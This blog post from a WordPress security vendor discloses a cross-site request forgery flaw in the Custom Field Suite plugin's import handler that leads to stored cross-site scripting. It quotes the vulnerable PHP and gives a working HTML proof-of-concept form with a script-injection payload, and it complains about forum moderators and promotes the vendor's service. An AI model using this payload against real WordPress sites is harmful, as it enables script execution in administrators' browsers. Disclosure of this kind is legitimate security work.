The changelog for the latest version of the WordPress plugin Ultimate FAQ is “Fixes a minor possible XSS issue”, we don’t know where the possible part comes from since that fixes a vulnerability and when we contacted the developer about that vulnerability we offered to provide them a proof of concept that confirmed that vulnerability was in fact exploitable. Vulnerabilities being inaccurately referred to as a possible or potential vulnerability isn’t an uncommon issue. By comparison the changelog for the latest version of Custom Field Suite is “Fix: prevent possible XSS for logged-in editors or admins (props reddy.io)” and what was fixed there would actually be a described as a possible vulnerability, since it involves allowing those users to do something they normally are permitted to do anyway due to them normally having the “unfiltered_html” capability.

Unfortunately, unlike us, other data sources don’t seem to care much for accuracy as that was added to the CVE’s data without that important qualifier:

The Custom Field Suite plugin before 2.5.15 for WordPress has XSS for editors or admins.

Maybe based on that, it was added to the WPScan Vulnerably Database without that qualifier or even a mention on the limit on the types of users it involved:

When we actually looked into the details of this to understand what was going on and to see if there was just a possible vulnerability or a vulnerability that should be added to our data set, we found that in the most recent version there is clear cut vulnerability involving cross-site scripting (XSS).

Interestingly the reddy.io cited with the changelog entry, REDdy Solutions, markets themselves as:

REDdy Solutions provides cybersecurity consulting services to help businesses of all sizes solve complex security issues and bring their protection to the next level. Our team of industry experts is ready to offer innovative solutions to any of the challenges you face. REDdy Solutions is your one-stop guide on a way to cybersecurity of your company and assets.

Yet they don’t seem to have noticed this vulnerability.

Details

While we were getting a handle on what the underlying code changes that were related to that changelog entry, we noticed that there was a lack of protection against cross-site request forgery (CSRF) protection when using the plugin’s functionality to import field groups (as well as the functionality to reset the plugin’s data). Through that an attacker could cause malicious JavaScript to run on various admin pages.

The request to handle the importing is done through WordPress’ AJAX functionality and that involves registering the function ajax_handler() to be accessible to anyone logged in to WordPress:

23

add_action( 'wp_ajax_cfs_ajax_handler',         array( $this, 'ajax_handler' ) );

That function, which is located in the file /includes/init.php, further restricts who has access to that function’s code to those with the “manage_options” capability (which would normally only be Administrators):

242
243
244
245
246
247

function ajax_handler() {
	if ( ! current_user_can( 'manage_options' ) ) {
		exit;
	}
 
	$ajax_method = isset( $_POST['action_type'] ) ? $_POST['action_type'] : false;

What that doesn’t check is for a valid nonce, so the import functionality that runs after that can be abused through CSRF. As the proof of concept below shows, that can lead to cross-site scripting (XSS).

In previous versions of the plugin the issue was more severe as there wasn’t that capabilities check (which versions were impacted by that is one of the things that you would find out if you used our service and that plugin).

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Proof of Concept

The following will cause an alert box with the message “XSS” to be shown when visiting the page to create a new post, when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=cfs_ajax_handler" method="POST">
<input type="hidden" name="action_type" value="import" />
<input type="hidden" name="import_code" value='[{"post_title":"\"><script>alert(\"XSS\");</script>","post_name":"test2","cfs_fields":[{"id":2,"name":"","label":"","type":"text","notes":"","parent_id":0,"weight":0,"options":{"default_value":"","required":"0"}}],"cfs_rules":[],"cfs_extras":{"order":"0","context":"normal","hide_editor":"0"}}]' />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Concerned About The Security of the Plugins You Use?